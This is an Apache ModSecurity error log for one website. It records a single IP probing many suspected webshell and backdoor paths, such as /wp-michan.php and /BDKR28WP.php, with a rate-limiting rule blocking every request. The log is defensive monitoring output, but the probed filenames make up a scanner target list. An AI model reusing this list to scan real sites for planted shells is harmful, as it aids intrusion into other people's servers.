[Sun Apr 12 12:13:58.421233 2026] [:error] [pid 25328:tid 25373] [client 20.215.64.75:59075] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/goods.php"] [unique_id "adscBsxUaQZxT-e0YsCDUgAAAEg"]
[Sun Apr 12 12:13:58.930675 2026] [:error] [pid 60280:tid 60282] [client 20.215.64.75:61001] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/goods.php"] [unique_id "adscBnBlLnDOYuIykkilKwAAAcA"]
[Sun Apr 12 12:13:59.436396 2026] [:error] [pid 60280:tid 60297] [client 20.215.64.75:59740] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/goods.php"] [unique_id "adscB3BlLnDOYuIykkilLAAAAc8"]
[Sun Apr 12 12:13:59.956232 2026] [:error] [pid 25437:tid 25446] [client 20.215.64.75:59130] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/goods.php"] [unique_id "adscB3f97wYZje1ep_PIJwAAAMc"]
[Sun Apr 12 12:14:00.475226 2026] [:error] [pid 25437:tid 25462] [client 20.215.64.75:61043] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "adscCHf97wYZje1ep_PIKgAAANc"]
[Sun Apr 12 12:14:00.994485 2026] [:error] [pid 25437:tid 25443] [client 20.215.64.75:59733] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "adscCHf97wYZje1ep_PILgAAAMQ"]
[Sun Apr 12 12:14:01.524376 2026] [:error] [pid 25437:tid 25453] [client 20.215.64.75:51206] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "adscCXf97wYZje1ep_PILwAAAM4"]
[Sun Apr 12 12:14:02.036706 2026] [:error] [pid 25328:tid 25364] [client 20.215.64.75:51214] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "adscCsxUaQZxT-e0YsCDWgAAAEA"]
[Sun Apr 12 12:14:02.542955 2026] [:error] [pid 60280:tid 60303] [client 20.215.64.75:59121] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "adscCnBlLnDOYuIykkilMwAAAdU"]
[Sun Apr 12 12:14:03.060759 2026] [:error] [pid 25328:tid 25394] [client 20.215.64.75:62932] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "adscC8xUaQZxT-e0YsCDXgAAAFI"]
[Sun Apr 12 12:14:03.565847 2026] [:error] [pid 60280:tid 60286] [client 20.215.64.75:9256] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "adscC3BlLnDOYuIykkilOgAAAcQ"]
[Sun Apr 12 12:14:04.078043 2026] [:error] [pid 25437:tid 25441] [client 20.215.64.75:59721] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "adscDHf97wYZje1ep_PIMQAAAMI"]
[Sun Apr 12 12:14:04.620744 2026] [:error] [pid 25329:tid 25386] [client 20.215.64.75:61049] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cgi-bin/index.php"] [unique_id "adscDGdcIYsS8Iyaj118awAAAIY"]
[Sun Apr 12 12:14:05.127727 2026] [:error] [pid 26600:tid 26634] [client 20.215.64.75:62938] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cgi-bin/index.php"] [unique_id "adscDe1YwAZiXhQKLYrZGQAAAYU"]
[Sun Apr 12 12:14:05.638381 2026] [:error] [pid 60280:tid 60282] [client 20.215.64.75:9977] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cgi-bin/index.php"] [unique_id "adscDXBlLnDOYuIykkilQAAAAcA"]
[Sun Apr 12 12:14:06.149771 2026] [:error] [pid 60280:tid 60302] [client 20.215.64.75:59135] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cgi-bin/index.php"] [unique_id "adscDnBlLnDOYuIykkilQgAAAdQ"]
[Sun Apr 12 12:14:06.675771 2026] [:error] [pid 25437:tid 25454] [client 20.215.64.75:62951] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fff.php"] [unique_id "adscDnf97wYZje1ep_PIMwAAAM8"]
[Sun Apr 12 12:14:07.184573 2026] [:error] [pid 26567:tid 26578] [client 20.215.64.75:9548] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fff.php"] [unique_id "adscD3hRpg6ptWFyFx1ewQAAAQk"]
[Sun Apr 12 12:14:07.732353 2026] [:error] [pid 26567:tid 26572] [client 20.215.64.75:51236] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fff.php"] [unique_id "adscD3hRpg6ptWFyFx1ewwAAAQM"]
[Sun Apr 12 12:14:08.245105 2026] [:error] [pid 26600:tid 26648] [client 20.215.64.75:59712] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fff.php"] [unique_id "adscEO1YwAZiXhQKLYrZHwAAAZM"]
[Sun Apr 12 12:14:08.760438 2026] [:error] [pid 25437:tid 25446] [client 20.215.64.75:61022] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/"] [unique_id "adscEHf97wYZje1ep_PINAAAAMc"]
[Sun Apr 12 12:14:09.327199 2026] [:error] [pid 25327:tid 25347] [client 20.215.64.75:61031] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/"] [unique_id "adscES6h2tZEVJo9JFKU5wAAAAs"]
[Sun Apr 12 12:14:09.852173 2026] [:error] [pid 25437:tid 25440] [client 20.215.64.75:62938] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/"] [unique_id "adscEXf97wYZje1ep_PINwAAAME"]
[Sun Apr 12 12:14:10.422543 2026] [:error] [pid 25328:tid 25389] [client 20.215.64.75:9537] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/"] [unique_id "adscEsxUaQZxT-e0YsCDagAAAFA"]
[Sun Apr 12 12:14:11.062843 2026] [:error] [pid 25437:tid 25447] [client 20.215.64.75:61042] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we.php"] [unique_id "adscE3f97wYZje1ep_PIPgAAAMg"]
[Sun Apr 12 12:14:11.591889 2026] [:error] [pid 26599:tid 26623] [client 20.215.64.75:9566] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we.php"] [unique_id "adscE3G89LXoQbk_rwCXbQAAAVU"]
[Sun Apr 12 12:14:12.125573 2026] [:error] [pid 25328:tid 25405] [client 20.215.64.75:9241] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we.php"] [unique_id "adscFMxUaQZxT-e0YsCDbQAAAFc"]
[Sun Apr 12 12:14:12.719317 2026] [:error] [pid 25437:tid 25457] [client 20.215.64.75:62972] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we.php"] [unique_id "adscFHf97wYZje1ep_PIQgAAANI"]
[Sun Apr 12 12:14:13.265074 2026] [:error] [pid 25437:tid 25443] [client 20.215.64.75:9596] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alpha.php"] [unique_id "adscFXf97wYZje1ep_PIRgAAAMQ"]
[Sun Apr 12 12:14:13.778625 2026] [:error] [pid 25329:tid 25397] [client 20.215.64.75:61004] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alpha.php"] [unique_id "adscFWdcIYsS8Iyaj118dQAAAIw"]
[Sun Apr 12 12:14:14.357990 2026] [:error] [pid 60280:tid 60290] [client 20.215.64.75:61047] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alpha.php"] [unique_id "adscFnBlLnDOYuIykkilSQAAAcg"]
[Sun Apr 12 12:14:14.870302 2026] [:error] [pid 26600:tid 26636] [client 20.215.64.75:9229] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alpha.php"] [unique_id "adscFu1YwAZiXhQKLYrZIwAAAYc"]
[Sun Apr 12 12:14:15.384811 2026] [:error] [pid 26567:tid 26591] [client 20.215.64.75:59745] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/makeasmtp.php"] [unique_id "adscF3hRpg6ptWFyFx1exwAAARY"]
[Sun Apr 12 12:14:15.898152 2026] [:error] [pid 25329:tid 25411] [client 20.215.64.75:62941] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/makeasmtp.php"] [unique_id "adscF2dcIYsS8Iyaj118dgAAAJQ"]
[Sun Apr 12 12:14:16.413739 2026] [:error] [pid 25437:tid 25456] [client 20.215.64.75:9236] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/makeasmtp.php"] [unique_id "adscGHf97wYZje1ep_PISQAAANE"]
[Sun Apr 12 12:14:16.925731 2026] [:error] [pid 25329:tid 25388] [client 20.215.64.75:59128] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/makeasmtp.php"] [unique_id "adscGGdcIYsS8Iyaj118ewAAAIc"]
[Sun Apr 12 12:14:17.447299 2026] [:error] [pid 60280:tid 60288] [client 20.215.64.75:9263] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-michan.php"] [unique_id "adscGXBlLnDOYuIykkilTAAAAcY"]
[Sun Apr 12 12:14:17.967646 2026] [:error] [pid 26600:tid 26637] [client 20.215.64.75:61027] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-michan.php"] [unique_id "adscGe1YwAZiXhQKLYrZJAAAAYg"]
[Sun Apr 12 12:14:18.509481 2026] [:error] [pid 25327:tid 25352] [client 20.215.64.75:51246] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-michan.php"] [unique_id "adscGi6h2tZEVJo9JFKU7wAAABA"]
[Sun Apr 12 12:14:19.020502 2026] [:error] [pid 26599:tid 26607] [client 20.215.64.75:60998] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-michan.php"] [unique_id "adscG3G89LXoQbk_rwCXcQAAAUU"]
[Sun Apr 12 12:14:19.566674 2026] [:error] [pid 26567:tid 26581] [client 20.215.64.75:62954] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-the.php"] [unique_id "adscG3hRpg6ptWFyFx1ezQAAAQw"]
[Sun Apr 12 12:14:20.073773 2026] [:error] [pid 26599:tid 26620] [client 20.215.64.75:59122] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-the.php"] [unique_id "adscHHG89LXoQbk_rwCXcgAAAVI"]
[Sun Apr 12 12:14:20.587796 2026] [:error] [pid 26599:tid 26618] [client 20.215.64.75:9267] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-the.php"] [unique_id "adscHHG89LXoQbk_rwCXdgAAAVA"]
[Sun Apr 12 12:14:21.098024 2026] [:error] [pid 25327:tid 25360] [client 20.215.64.75:9593] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-the.php"] [unique_id "adscHS6h2tZEVJo9JFKU9QAAABg"]
[Sun Apr 12 12:14:21.633058 2026] [:error] [pid 60280:tid 60299] [client 20.215.64.75:9233] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "adscHXBlLnDOYuIykkilTgAAAdE"]
[Sun Apr 12 12:14:22.190250 2026] [:error] [pid 60280:tid 60295] [client 20.215.64.75:62950] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "adscHnBlLnDOYuIykkilUQAAAc0"]
[Sun Apr 12 12:14:22.711357 2026] [:error] [pid 60280:tid 60289] [client 20.215.64.75:52476] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "adscHnBlLnDOYuIykkilVAAAAcc"]
[Sun Apr 12 12:14:23.268731 2026] [:error] [pid 60280:tid 60303] [client 20.215.64.75:9258] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "adscH3BlLnDOYuIykkilWQAAAdU"]
[Sun Apr 12 12:14:23.775964 2026] [:error] [pid 60280:tid 60294] [client 20.215.64.75:54008] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/BDKR28WP.php"] [unique_id "adscH3BlLnDOYuIykkilWgAAAcw"]
[Sun Apr 12 12:14:24.316602 2026] [:error] [pid 26600:tid 26634] [client 20.215.64.75:51257] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/BDKR28WP.php"] [unique_id "adscIO1YwAZiXhQKLYrZKAAAAYU"]
[Sun Apr 12 12:14:24.829299 2026] [:error] [pid 26600:tid 26643] [client 20.215.64.75:62949] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/BDKR28WP.php"] [unique_id "adscIO1YwAZiXhQKLYrZKQAAAY4"]
[Sun Apr 12 12:14:25.369816 2026] [:error] [pid 26600:tid 26635] [client 20.215.64.75:62934] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/BDKR28WP.php"] [unique_id "adscIe1YwAZiXhQKLYrZLAAAAYY"]
[Sun Apr 12 12:14:25.881561 2026] [:error] [pid 26600:tid 26651] [client 20.215.64.75:9954] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/l10n/"] [unique_id "adscIe1YwAZiXhQKLYrZLwAAAZY"]
[Sun Apr 12 12:14:26.417389 2026] [:error] [pid 26600:tid 26647] [client 20.215.64.75:61034] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/l10n/"] [unique_id "adscIu1YwAZiXhQKLYrZMAAAAZI"]
[Sun Apr 12 12:14:26.928102 2026] [:error] [pid 25437:tid 25448] [client 20.215.64.75:53972] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/l10n/"] [unique_id "adscInf97wYZje1ep_PIUAAAAMk"]
[Sun Apr 12 12:14:27.444568 2026] [:error] [pid 60280:tid 60300] [client 20.215.64.75:9272] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/l10n/"] [unique_id "adscI3BlLnDOYuIykkilXAAAAdI"]
